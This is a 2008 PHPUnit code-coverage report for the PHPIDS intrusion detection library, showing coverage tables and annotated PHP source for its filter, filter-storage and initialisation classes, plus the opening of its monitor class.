+ 100.00% | +1 / 1 | +||||||
| public function getTags() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function getRule() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function getImpact() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function getId() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
++ 1 : <?php + 2 : + 3 : /** + 4 : * PHPIDS + 5 : * + 6 : * Requirements: PHP5, SimpleXML + 7 : * + 8 : * Copyright (c) 2008 PHPIDS group (http://php-ids.org) + 9 : * + 10 : * PHPIDS is free software; you can redistribute it and/or modify + 11 : * it under the terms of the GNU Lesser General Public License as published by + 12 : * the Free Software Foundation, version 3 of the License, or + 13 : * (at your option) any later version. + 14 : * + 15 : * PHPIDS is distributed in the hope that it will be useful, + 16 : * but WITHOUT ANY WARRANTY; without even the implied warranty of + 17 : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + 18 : * GNU Lesser General Public License for more details. + 19 : * + 20 : * You should have received a copy of the GNU Lesser General Public License + 21 : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. + 22 : * + 23 : * PHP version 5.1.6+ + 24 : * + 25 : * @category Security + 26 : * @package PHPIDS + 27 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 28 : * @author Christian Matthies <ch0012@gmail.com> + 29 : * @author Lars Strojny <lars@strojny.net> + 30 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 31 : * @link http://php-ids.org/ + 32 : */ + 33 : + 34 : /** + 35 : * PHPIDS Filter object + 36 : * + 37 : * Each object of this class serves as a container for a specific filter. The + 38 : * object provides methods to get information about this particular filter and + 39 : * also to match an arbitrary string against it. + 40 : * + 41 : * @category Security + 42 : * @package PHPIDS + 43 : * @author Christian Matthies <ch0012@gmail.com> + 44 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 45 : * @author Lars Strojny <lars@strojny.net> + 46 : * @copyright 2007 The PHPIDS Group + 47 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 48 : * @version Release: $Id:Filter.php 517 2007-09-15 15:04:13Z mario $ + 49 : * @link http://php-ids.org/ + 50 : * @since Version 0.4 + 51 : */ + 52 : class IDS_Filter + 53 : { + 54 : + 55 : /** + 56 : * Filter rule + 57 : * + 58 : * @var string + 59 : */ + 60 : protected $rule; + 61 : + 62 : /** + 63 : * List of tags of the filter + 64 : * + 65 : * @var array + 66 : */ + 67 : protected $tags = array(); + 68 : + 69 : /** + 70 : * Filter impact level + 71 : * + 72 : * @var integer + 73 : */ + 74 : protected $impact = 0; + 75 : + 76 : /** + 77 : * Filter description + 78 : * + 79 : * @var string + 80 : */ + 81 : protected $description = null; + 82 : + 83 : /** + 84 : * Constructor + 85 : * + 86 : * @param mixed $rule filter rule + 87 : * @param string $description filter description + 88 : * @param array $tags list of tags + 89 : * @param integer $impact filter impact level + 90 : * + 91 : * @return void + 92 : */ + 93 : public function __construct($id, $rule, $description, array $tags, $impact) + 94 : { + 95 69 : $this->id = $id; + 96 69 : $this->rule = $rule; + 97 69 : $this->tags = $tags; + 98 69 : $this->impact = $impact; + 99 69 : $this->description = $description; + 100 69 : } + 101 : + 102 : /** + 103 : * Matches a string against current filter + 104 : * + 105 : * Matches given string against the filter rule the specific object of this + 106 : * class represents + 107 : * + 108 : * @param string $string the string to match + 109 : * + 110 : * @throws InvalidArgumentException if argument is no string + 111 : * @return boolean + 112 : */ + 113 : public function match($string) + 114 : { + 115 38 : if (!is_string($string)) { + 116 1 : throw new InvalidArgumentException(' + 117 1 : Invalid argument. Expected a string, received ' . gettype($string) + 118 1 : ); + 119 : } + 120 : + 121 37 : return (bool) preg_match( + 122 37 : '/' . $this->getRule() . '/ms', strtolower($string) + 123 37 : ); + 124 : } + 125 : + 126 : /** + 127 : * Returns filter description + 128 : * + 129 : * @return string + 130 : */ + 131 : public function getDescription() + 132 : { + 133 2 : return $this->description; + 134 : } + 135 : + 136 : /** + 137 : * Return list of affected tags + 138 : * + 139 : * Each filter rule is concerned with a certain kind of attack vectors. + 140 : * This method returns those affected kinds. + 141 : * + 142 : * @return array + 143 : */ + 144 : public function getTags() + 145 : { + 146 6 : return $this->tags; + 147 : } + 148 : + 149 : /** + 150 : * Returns filter rule + 151 : * + 152 : * @return string + 153 : */ + 154 : public function getRule() + 155 : { + 156 38 : return $this->rule; + 157 : } + 158 : + 159 : /** + 160 : * Get filter impact level + 161 : * + 162 : * @return integer + 163 : */ + 164 : public function getImpact() + 165 : { + 166 36 : return $this->impact; + 167 : } + 168 : + 169 : /** + 170 : * Get filter ID + 171 : * + 172 : * @return integer + 173 : */ + 174 : public function getId() + 175 : { + 176 1 : return $this->id; + 177 : } + 178 : } + 179 : + 180 : /* + 181 : * Local variables: + 182 : * tab-width: 4 + 183 : * c-basic-offset: 4 + 184 : * End: + 185 : */ + ++ |
+
|
| Generated by PHPUnit 3.3.1 and Xdebug 2.1.0-dev at Mon Dec 22 13:57:42 CET 2008. |
| PHPIDS | ||||
| ||||
+
|
+ ||||
|
+
| + | Coverage | +|||||||||||
| + | Classes | +Methods | +Lines | +|||||||||
| Total | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +
+
|
+ 84.96% | +113 / 133 | +|||
| + | ||||||||||||
| IDS_Filter_Storage | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +
+
|
+ 84.96% | +113 / 133 | +|||
| public function __construct(IDS_Init $init) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 86.36% | +19 / 22 | +||||||
| public function setFilterSet($filterSet) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +4 / 4 | +||||||
| public function getFilterSet() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function addFilter(IDS_Filter $filter) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +2 / 2 | +||||||
| private function _isCached() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +||||||
| public function getFilterFromXML() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 89.80% | +44 / 49 | +||||||
| public function getFilterFromJson() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 75.00% | +36 / 48 | +||||||
++ 1 : <?php + 2 : + 3 : /** + 4 : * PHPIDS + 5 : * + 6 : * Requirements: PHP5, SimpleXML + 7 : * + 8 : * Copyright (c) 2008 PHPIDS group (http://php-ids.org) + 9 : * + 10 : * PHPIDS is free software; you can redistribute it and/or modify + 11 : * it under the terms of the GNU Lesser General Public License as published by + 12 : * the Free Software Foundation, version 3 of the License, or + 13 : * (at your option) any later version. + 14 : * + 15 : * PHPIDS is distributed in the hope that it will be useful, + 16 : * but WITHOUT ANY WARRANTY; without even the implied warranty of + 17 : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + 18 : * GNU Lesser General Public License for more details. + 19 : * + 20 : * You should have received a copy of the GNU Lesser General Public License + 21 : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. + 22 : * + 23 : * PHP version 5.1.6+ + 24 : * + 25 : * @category Security + 26 : * @package PHPIDS + 27 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 28 : * @author Christian Matthies <ch0012@gmail.com> + 29 : * @author Lars Strojny <lars@strojny.net> + 30 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 31 : * @link http://php-ids.org/ + 32 : */ + 33 : + 34 : /** + 35 : * Filter Storage + 36 : * + 37 : * This class provides various default functions for gathering filter patterns + 38 : * to be used later on by the detection mechanism. You might extend this class + 39 : * to your requirements. + 40 : * + 41 : * @category Security + 42 : * @package PHPIDS + 43 : * @author Christian Matthies <ch0012@gmail.com> + 44 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 45 : * @author Lars Strojny <lars@strojny.net> + 46 : * @copyright 2007 The PHPIDS Group + 47 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 48 : * @version Release: $Id:Storage.php 517 2007-09-15 15:04:13Z mario $ + 49 : * @link http://php-ids.org/ + 50 : */ + 51 : class IDS_Filter_Storage + 52 : { + 53 : + 54 : /** + 55 : * Filter source file + 56 : * + 57 : * @var string + 58 : */ + 59 : protected $source = null; + 60 : + 61 : /** + 62 : * Holds caching settings + 63 : * + 64 : * @var array + 65 : */ + 66 : protected $cacheSettings = null; + 67 : + 68 : /** + 69 : * Cache container + 70 : * + 71 : * @var object IDS_Caching wrapper + 72 : */ + 73 : protected $cache = null; + 74 : + 75 : /** + 76 : * Filter container + 77 : * + 78 : * @var array + 79 : */ + 80 : protected $filterSet = array(); + 81 : + 82 : /** + 83 : * Constructor + 84 : * + 85 : * Loads filters based on provided IDS_Init settings. + 86 : * + 87 : * @param object $init IDS_Init instance + 88 : * + 89 : * @throws Exception if unsupported filter type is given + 90 : * @return void + 91 : */ + 92 : public final function __construct(IDS_Init $init) + 93 : { + 94 42 : if ($init->config) { + 95 : + 96 42 : $caching = isset($init->config['Caching']['caching']) ? + 97 42 : $init->config['Caching']['caching'] : 'none'; + 98 : + 99 42 : $type = $init->config['General']['filter_type']; + 100 42 : $this->source = $init->getBasePath() + 101 42 : . $init->config['General']['filter_path']; + 102 : + 103 42 : if ($caching && $caching != 'none') { + 104 42 : $this->cacheSettings = $init->config['Caching']; + 105 42 : include_once 'IDS/Caching/Factory.php'; + 106 42 : $this->cache = IDS_Caching::factory($init, 'storage'); + 107 42 : } + 108 : + 109 : switch ($type) { + 110 42 : case 'xml' : + 111 41 : $this->getFilterFromXML(); + 112 41 : break; + 113 1 : case 'json' : + 114 1 : $this->getFilterFromJson(); + 115 1 : break; + 116 0 : default : + 117 0 : throw new Exception('Unsupported filter type.'); + 118 0 : } + 119 42 : } + 120 42 : } + 121 : + 122 : /** + 123 : * Sets the filter array + 124 : * + 125 : * @param array $filterSet array containing multiple IDS_Filter instances + 126 : * + 127 : * @return object $this + 128 : */ + 129 : public final function setFilterSet($filterSet) + 130 : { + 131 1 : foreach ($filterSet as $filter) { + 132 1 : $this->addFilter($filter); + 133 1 : } + 134 : + 135 1 : return $this; + 136 : } + 137 : + 138 : /** + 139 : * Returns registered filters + 140 : * + 141 : * @return array + 142 : */ + 143 : public final function getFilterSet() + 144 : { + 145 35 : return $this->filterSet; + 146 : } + 147 : + 148 : /** + 149 : * Adds a filter + 150 : * + 151 : * @param object $filter IDS_Filter instance + 152 : * + 153 : * @return object $this + 154 : */ + 155 : public final function addFilter(IDS_Filter $filter) + 156 : { + 157 42 : $this->filterSet[] = $filter; + 158 42 : return $this; + 159 : } + 160 : + 161 : /** + 162 : * Checks if any filters are cached + 163 : * + 164 : * @return mixed $filters cached filters or false + 165 : */ + 166 : private function _isCached() + 167 : { + 168 42 : $filters = false; + 169 : + 170 42 : if ($this->cacheSettings) { + 171 : + 172 42 : if ($this->cache) { + 173 42 : $filters = $this->cache->getCache(); + 174 42 : } + 175 42 : } + 176 : + 177 42 : return $filters; + 178 : } + 179 : + 180 : /** + 181 : * Loads filters from XML using SimpleXML + 182 : * + 183 : * This function parses the provided source file and stores the result. + 184 : * If caching mode is enabled the result will be cached to increase + 185 : * the performance. + 186 : * + 187 : * @throws Exception if problems with fetching the XML data occur + 188 : * @return object $this + 189 : */ + 190 : public function getFilterFromXML() + 191 : { + 192 : + 193 41 : if (extension_loaded('SimpleXML')) { + 194 : + 195 : /* + 196 : * See if filters are already available in the cache + 197 : */ + 198 41 : $filters = $this->_isCached(); + 199 : + 200 : /* + 201 : * If they aren't, parse the source file + 202 : */ + 203 41 : if (!$filters) { + 204 1 : if (file_exists($this->source)) { + 205 1 : if (LIBXML_VERSION >= 20621) { + 206 1 : $filters = simplexml_load_file($this->source, + 207 1 : null, + 208 1 : LIBXML_COMPACT); + 209 1 : } else { + 210 0 : $filters = simplexml_load_file($this->source); + 211 : } + 212 1 : } + 213 1 : } + 214 : + 215 : /* + 216 : * In case we still don't have any filters loaded and exception + 217 : * will be thrown + 218 : */ + 219 41 : if (empty($filters)) { + 220 0 : throw new Exception( + 221 : 'XML data could not be loaded.' . + 222 : ' Make sure you specified the correct path.' + 223 0 : ); + 224 : } + 225 : + 226 : /* + 227 : * Now the storage will be filled with IDS_Filter objects + 228 : */ + 229 41 : $data = array(); + 230 41 : $nocache = $filters instanceof SimpleXMLElement; + 231 41 : $filters = $nocache ? $filters->filter : $filters; + 232 : + 233 41 : include_once 'IDS/Filter.php'; + 234 : + 235 41 : foreach ($filters as $filter) { + 236 : + 237 41 : $id = $nocache ? (string) $filter->id : + 238 41 : $filter['id']; + 239 41 : $rule = $nocache ? (string) $filter->rule : + 240 41 : $filter['rule']; + 241 41 : $impact = $nocache ? (string) $filter->impact : + 242 41 : $filter['impact']; + 243 41 : $tags = $nocache ? array_values((array) $filter->tags) : + 244 41 : $filter['tags']; + 245 41 : $description = $nocache ? (string) $filter->description : + 246 41 : $filter['description']; + 247 : + 248 41 : $this->addFilter(new IDS_Filter($id, + 249 41 : $rule, + 250 41 : $description, + 251 41 : (array) $tags[0], + 252 41 : (int) $impact)); + 253 : + 254 41 : $data[] = array( + 255 41 : 'id' => $id, + 256 41 : 'rule' => $rule, + 257 41 : 'impact' => $impact, + 258 41 : 'tags' => $tags, + 259 : 'description' => $description + 260 41 : ); + 261 41 : } + 262 : + 263 : /* + 264 : * If caching is enabled, the fetched data will be cached + 265 : */ + 266 41 : if ($this->cacheSettings) { + 267 : + 268 41 : $this->cache->setCache($data); + 269 41 : } + 270 : + 271 41 : } else { + 272 0 : throw new Exception( + 273 : 'SimpleXML not loaded.' + 274 0 : ); + 275 : } + 276 : + 277 41 : return $this; + 278 : } + 279 : + 280 : /** + 281 : * Loads filters from Json file using ext/Json + 282 : * + 283 : * This function parses the provided source file and stores the result. + 284 : * If caching mode is enabled the result will be cached to increase + 285 : * the performance. + 286 : * + 287 : * @throws Exception if problems with fetching the JSON data occur + 288 : * @return object $this + 289 : */ + 290 : public function getFilterFromJson() + 291 : { + 292 : + 293 1 : if (extension_loaded('Json')) { + 294 : + 295 : /* + 296 : * See if filters are already available in the cache + 297 : */ + 298 1 : $filters = $this->_isCached(); + 299 : + 300 : /* + 301 : * If they aren't, parse the source file + 302 : */ + 303 1 : if (!$filters) { + 304 0 : if (file_exists($this->source)) { + 305 0 : @set_magic_quotes_runtime(0); + 306 0 : $content = file_get_contents($this->source); + 307 0 : $filters = json_decode($content); + 308 0 : } else { + 309 0 : throw new Exception( + 310 : 'JSON data could not be loaded.' . + 311 : ' Make sure you specified the correct path.' + 312 0 : ); + 313 : } + 314 0 : } + 315 : + 316 1 : if (!$filters) { + 317 0 : throw new Exception( + 318 : 'JSON data could not be loaded.' . + 319 : ' Make sure you specified the correct path.' + 320 0 : ); + 321 : } + 322 : + 323 : /* + 324 : * Now the storage will be filled with IDS_Filter objects + 325 : */ + 326 1 : $data = array(); + 327 1 : $nocache = !is_array($filters); + 328 1 : $filters = $nocache ? $filters->filters->filter : $filters; + 329 : + 330 1 : include_once 'IDS/Filter.php'; + 331 : + 332 1 : foreach ($filters as $filter) { + 333 : + 334 1 : $id = $nocache ? (string) $filter->id : + 335 1 : $filter['id']; + 336 1 : $rule = $nocache ? (string) $filter->rule : + 337 1 : $filter['rule']; + 338 1 : $impact = $nocache ? (string) $filter->impact : + 339 1 : $filter['impact']; + 340 1 : $tags = $nocache ? array_values((array) $filter->tags) : + 341 1 : $filter['tags']; + 342 1 : $description = $nocache ? (string) $filter->description : + 343 1 : $filter['description']; + 344 : + 345 1 : $this->addFilter(new IDS_Filter($id, + 346 1 : $rule, + 347 1 : $description, + 348 1 : (array) $tags[0], + 349 1 : (int) $impact)); + 350 : + 351 1 : $data[] = array( + 352 1 : 'id' => $id, + 353 1 : 'rule' => $rule, + 354 1 : 'impact' => $impact, + 355 1 : 'tags' => $tags, + 356 : 'description' => $description + 357 1 : ); + 358 1 : } + 359 : + 360 : /* + 361 : * If caching is enabled, the fetched data will be cached + 362 : */ + 363 1 : if ($this->cacheSettings) { + 364 1 : $this->cache->setCache($data); + 365 1 : } + 366 : + 367 1 : } else { + 368 0 : throw new Exception( + 369 : 'ext/json not loaded.' + 370 0 : ); + 371 : } + 372 : + 373 1 : return $this; + 374 : } + 375 : } + 376 : + 377 : /* + 378 : * Local variables: + 379 : * tab-width: 4 + 380 : * c-basic-offset: 4 + 381 : * End: + 382 : */ + ++ |
+
|
| Generated by PHPUnit 3.3.1 and Xdebug 2.1.0-dev at Mon Dec 22 13:57:42 CET 2008. |
| PHPIDS | ||||
| ||||
+
|
+ ||||
|
+
| + | Coverage | +|||||||||||
| + | Classes | +Methods | +Lines | +|||||||||
| Total | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +9 / 9 | +
+
|
+ 100.00% | +42 / 42 | +|||
| + | ||||||||||||
| IDS_Init | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +9 / 9 | +
+
|
+ 100.00% | +42 / 42 | +|||
| private function __construct($configPath = NULL) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +||||||
| public function __clone() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public static function init($configPath = NULL) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +4 / 4 | +||||||
| public function setConfigPath($path) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +||||||
| public function getConfigPath() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function getBasePath() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +5 / 5 | +||||||
| public function setConfig(array $config, $overwrite = false) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +5 / 5 | +||||||
| protected function _mergeConfig($current, $successor) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +11 / 11 | +||||||
| public function getConfig() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
++ 1 : <?php + 2 : + 3 : /** + 4 : * PHPIDS + 5 : * + 6 : * Requirements: PHP5, SimpleXML + 7 : * + 8 : * Copyright (c) 2008 PHPIDS group (http://php-ids.org) + 9 : * + 10 : * PHPIDS is free software; you can redistribute it and/or modify + 11 : * it under the terms of the GNU Lesser General Public License as published by + 12 : * the Free Software Foundation, version 3 of the License, or + 13 : * (at your option) any later version. + 14 : * + 15 : * PHPIDS is distributed in the hope that it will be useful, + 16 : * but WITHOUT ANY WARRANTY; without even the implied warranty of + 17 : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + 18 : * GNU Lesser General Public License for more details. + 19 : * + 20 : * You should have received a copy of the GNU Lesser General Public License + 21 : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. + 22 : * + 23 : * PHP version 5.1.6+ + 24 : * + 25 : * @category Security + 26 : * @package PHPIDS + 27 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 28 : * @author Christian Matthies <ch0012@gmail.com> + 29 : * @author Lars Strojny <lars@strojny.net> + 30 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 31 : * @link http://php-ids.org/ + 32 : */ + 33 : + 34 : /** + 35 : * Framework initiation + 36 : * + 37 : * This class is used for the purpose to initiate the framework and inhabits + 38 : * functionality to parse the needed configuration file. + 39 : * + 40 : * @category Security + 41 : * @package PHPIDS + 42 : * @author Christian Matthies <ch0012@gmail.com> + 43 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 44 : * @author Lars Strojny <lars@strojny.net> + 45 : * @copyright 2007 The PHPIDS Groupup + 46 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 47 : * @version Release: $Id:Init.php 517 2007-09-15 15:04:13Z mario $ + 48 : * @link http://php-ids.org/ + 49 : * @since Version 0.4 + 50 : */ + 51 : class IDS_Init + 52 : { + 53 : + 54 : /** + 55 : * Holds config settings + 56 : * + 57 : * @var array + 58 : */ + 59 : public $config = array(); + 60 : + 61 : /** + 62 : * Instance of this class depending on the supplied config file + 63 : * + 64 : * @var array + 65 : * @static + 66 : */ + 67 : private static $instances = array(); + 68 : + 69 : /** + 70 : * Path to the config file + 71 : * + 72 : * @var string + 73 : */ + 74 : private $configPath = null; + 75 : + 76 : /** + 77 : * Constructor + 78 : * + 79 : * Includes needed classes and parses the configuration file + 80 : * + 81 : * @param string $configPath the path to the config file + 82 : * + 83 : * @return object $this + 84 : */ + 85 : private function __construct($configPath = null) + 86 : { + 87 3 : include_once 'IDS/Monitor.php'; + 88 3 : include_once 'IDS/Filter/Storage.php'; + 89 : + 90 3 : if ($configPath) { + 91 2 : $this->setConfigPath($configPath); + 92 1 : $this->config = parse_ini_file($this->configPath, true); + 93 1 : } + 94 2 : } + 95 : + 96 : /** + 97 : * Permitting to clone this object + 98 : * + 99 : * For the sake of correctness of a singleton pattern, this is necessary + 100 : * + 101 : * @return void + 102 : */ + 103 : public final function __clone() + 104 : { + 105 1 : } + 106 : + 107 : /** + 108 : * Returns an instance of this class. Also a PHP version check + 109 : * is being performed to avoid compatibility problems with PHP < 5.1.6 + 110 : * + 111 : * @param string $configPath the path to the config file + 112 : * + 113 : * @return object + 114 : */ + 115 : public static function init($configPath = null) + 116 : { + 117 67 : if (!isset(self::$instances[$configPath])) { + 118 3 : self::$instances[$configPath] = new IDS_Init($configPath); + 119 2 : } + 120 : + 121 67 : return self::$instances[$configPath]; + 122 : } + 123 : + 124 : /** + 125 : * Sets the path to the configuration file + 126 : * + 127 : * @param string $path the path to the config + 128 : * + 129 : * @throws Exception if file not found + 130 : * @return void + 131 : */ + 132 : public function setConfigPath($path) + 133 : { + 134 2 : if (file_exists($path)) { + 135 1 : $this->configPath = $path; + 136 1 : } else { + 137 1 : throw new Exception( + 138 : 'Configuration file could not be found at ' . + 139 1 : htmlspecialchars($path, ENT_QUOTES, 'UTF-8') + 140 1 : ); + 141 : } + 142 1 : } + 143 : + 144 : /** + 145 : * Returns path to configuration file + 146 : * + 147 : * @return string the config path + 148 : */ + 149 : public function getConfigPath() + 150 : { + 151 1 : return $this->configPath; + 152 : } + 153 : + 154 : /** + 155 : * This method checks if a base path is given and usage is set to true. + 156 : * If all that tests succeed the base path will be returned as a string - + 157 : * else null will be returned. + 158 : * + 159 : * @return string the base path or null + 160 : */ + 161 : public function getBasePath() { + 162 : + 163 42 : return ((isset($this->config['General']['base_path']) + 164 42 : && $this->config['General']['base_path'] + 165 42 : && isset($this->config['General']['use_base_path']) + 166 42 : && $this->config['General']['use_base_path']) + 167 42 : ? $this->config['General']['base_path'] : null); + 168 : } + 169 : + 170 : /** + 171 : * Merges new settings into the exsiting ones or overwrites them + 172 : * + 173 : * @param array $config the config array + 174 : * @param boolean $overwrite config overwrite flag + 175 : * + 176 : * @return void + 177 : */ + 178 : public function setConfig(array $config, $overwrite = false) + 179 : { + 180 2 : if ($overwrite) { + 181 2 : $this->config = $this->_mergeConfig($this->config, $config); + 182 2 : } else { + 183 1 : $this->config = $this->_mergeConfig($config, $this->config); + 184 : } + 185 2 : } + 186 : + 187 : /** + 188 : * Merge config hashes recursivly + 189 : * + 190 : * The algorithm merges configuration arrays recursively. If an element is + 191 : * an array in both, the values will be appended. If it is a scalar in both, + 192 : * the value will be replaced. + 193 : * + 194 : * @param array $current The legacy hash + 195 : * @param array $successor The hash which values count more when in doubt + 196 : * @return array Merged hash + 197 : */ + 198 : protected function _mergeConfig($current, $successor) + 199 : { + 200 2 : if (is_array($current) and is_array($successor)) { + 201 2 : foreach ($successor as $key => $value) { + 202 2 : if (isset($current[$key]) + 203 2 : and is_array($value) + 204 2 : and is_array($current[$key])) { + 205 : + 206 2 : $current[$key] = $this->_mergeConfig($current[$key], $value); + 207 2 : } else { + 208 2 : $current[$key] = $successor[$key]; + 209 : } + 210 2 : } + 211 2 : } + 212 2 : return $current; + 213 : } + 214 : + 215 : /** + 216 : * Returns the config array + 217 : * + 218 : * @return array the config array + 219 : */ + 220 : public function getConfig() + 221 : { + 222 1 : return $this->config; + 223 : } + 224 : } + 225 : + 226 : /* + 227 : * Local variables: + 228 : * tab-width: 4 + 229 : * c-basic-offset: 4 + 230 : * End: + 231 : */ + ++ |
+
|
| Generated by PHPUnit 3.3.1 and Xdebug 2.1.0-dev at Mon Dec 22 13:57:42 CET 2008. |
| PHPIDS | ||||
| ||||
+
|
+ ||||
|
+
| + | Coverage | +|||||||||||
| + | Classes | +Methods | +Lines | +|||||||||
| Total | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 84.21% | +16 / 19 | +
+
|
+ 87.11% | +169 / 194 | +|||
| + | ||||||||||||
| IDS_Monitor | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 84.21% | +16 / 19 | +
+
|
+ 87.11% | +169 / 194 | +|||
| public function __construct(array $request, IDS_Init $init, array $tags = NULL) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 79.41% | +27 / 34 | +||||||
| public function run() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +6 / 6 | +||||||
| private function _iterate($key, $value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +17 / 17 | +||||||
| private function _detect($key, $value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +37 / 37 | +||||||
| private function _purifyValues($key, $value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 70.37% | +19 / 27 | +||||||
| private function _diff($original, $purified, $redux) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +26 / 26 | +||||||
| private function _jsonDecodeValues($key, $value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 72.73% | +8 / 11 | +||||||
| private function _jsonConcatContents($key, $value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +2 / 2 | +||||||
| private function _match($key, $value, $filter) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +||||||
| public function setExceptions($exceptions) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +5 / 5 | +||||||
| public function getExceptions() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function setHtml($html) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +5 / 5 | +||||||
| public function addHtml($value) | +
+
|
+ 0.00% | +0 / 1 | +
+
|
+ 0.00% | +0 / 2 | +||||||
| public function getHtml() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function setJson($json) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 60.00% | +3 / 5 | +||||||
| public function addJson($value) | +
+
|
+ 0.00% | +0 / 1 | +
+
|
+ 0.00% | +0 / 2 | +||||||
| public function getJson() | +
+
|
+ 0.00% | +0 / 1 | +
+
|
+ 0.00% | +0 / 1 | +||||||
| public function getStorage() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function getReport() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +4 / 4 | +||||||
++ 1 : <?php + 2 : + 3 : /** + 4 : * PHPIDS + 5 : * + 6 : * Requirements: PHP5, SimpleXML + 7 : * + 8 : * Copyright (c) 2008 PHPIDS group (http://php-ids.org) + 9 : * + 10 : * PHPIDS is free software; you can redistribute it and/or modify + 11 : * it under the terms of the GNU Lesser General Public License as published by + 12 : * the Free Software Foundation, version 3 of the License, or + 13 : * (at your option) any later version. + 14 : * + 15 : * PHPIDS is distributed in the hope that it will be useful, + 16 : * but WITHOUT ANY WARRANTY; without even the implied warranty of + 17 : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + 18 : * GNU Lesser General Public License for more details. + 19 : * + 20 : * You should have received a copy of the GNU Lesser General Public License + 21 : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. + 22 : * + 23 : * PHP version 5.1.6+ + 24 : * + 25 : * @category Security + 26 : * @package PHPIDS + 27 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 28 : * @author Christian Matthies <ch0012@gmail.com> + 29 : * @author Lars Strojny <lars@strojny.net> + 30 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 31 : * @link http://php-ids.org/ + 32 : */ + 33 : + 34 : /** + 35 : * Monitoring engine + 36 : * + 37 : * This class represents the core of the frameworks attack detection mechanism + 38 : * and provides functions to scan incoming data for malicious appearing script + 39 : * fragments. + 40 : * + 41 : * @category Security + 42 : * @package PHPIDS + 43 : * @author Christian Matthies <ch0012@gmail.com> + 44 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 45 : * @author Lars Strojny <lars@strojny.net> + 46 : * @copyright 2007 The PHPIDS Group + 47 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 48 : * @version Release: $Id:Monitor.php 949 2008-06-28 01:26:03Z christ1an $ + 49 : * @link http://php-ids.org/ + 50 : */ + 51 : class IDS_Monitor + 52 : { + 53 : + 54 : /** + 55 : * Tags to define what to search for + 56 : * + 57 : * Accepted values are xss, csrf, sqli, dt, id, lfi, rfe, spam, dos + 58 : * + 59 : * @var array + 60 : */ + 61 : private $tags = null; + 62 : + 63 : /** + 64 : * Request array + 65 : * + 66 : * Array containing raw data to search in + 67 : * + 68 : * @var array + 69 : */ + 70 : private $request = null; + 71 : + 72 : /** + 73 : * Container for 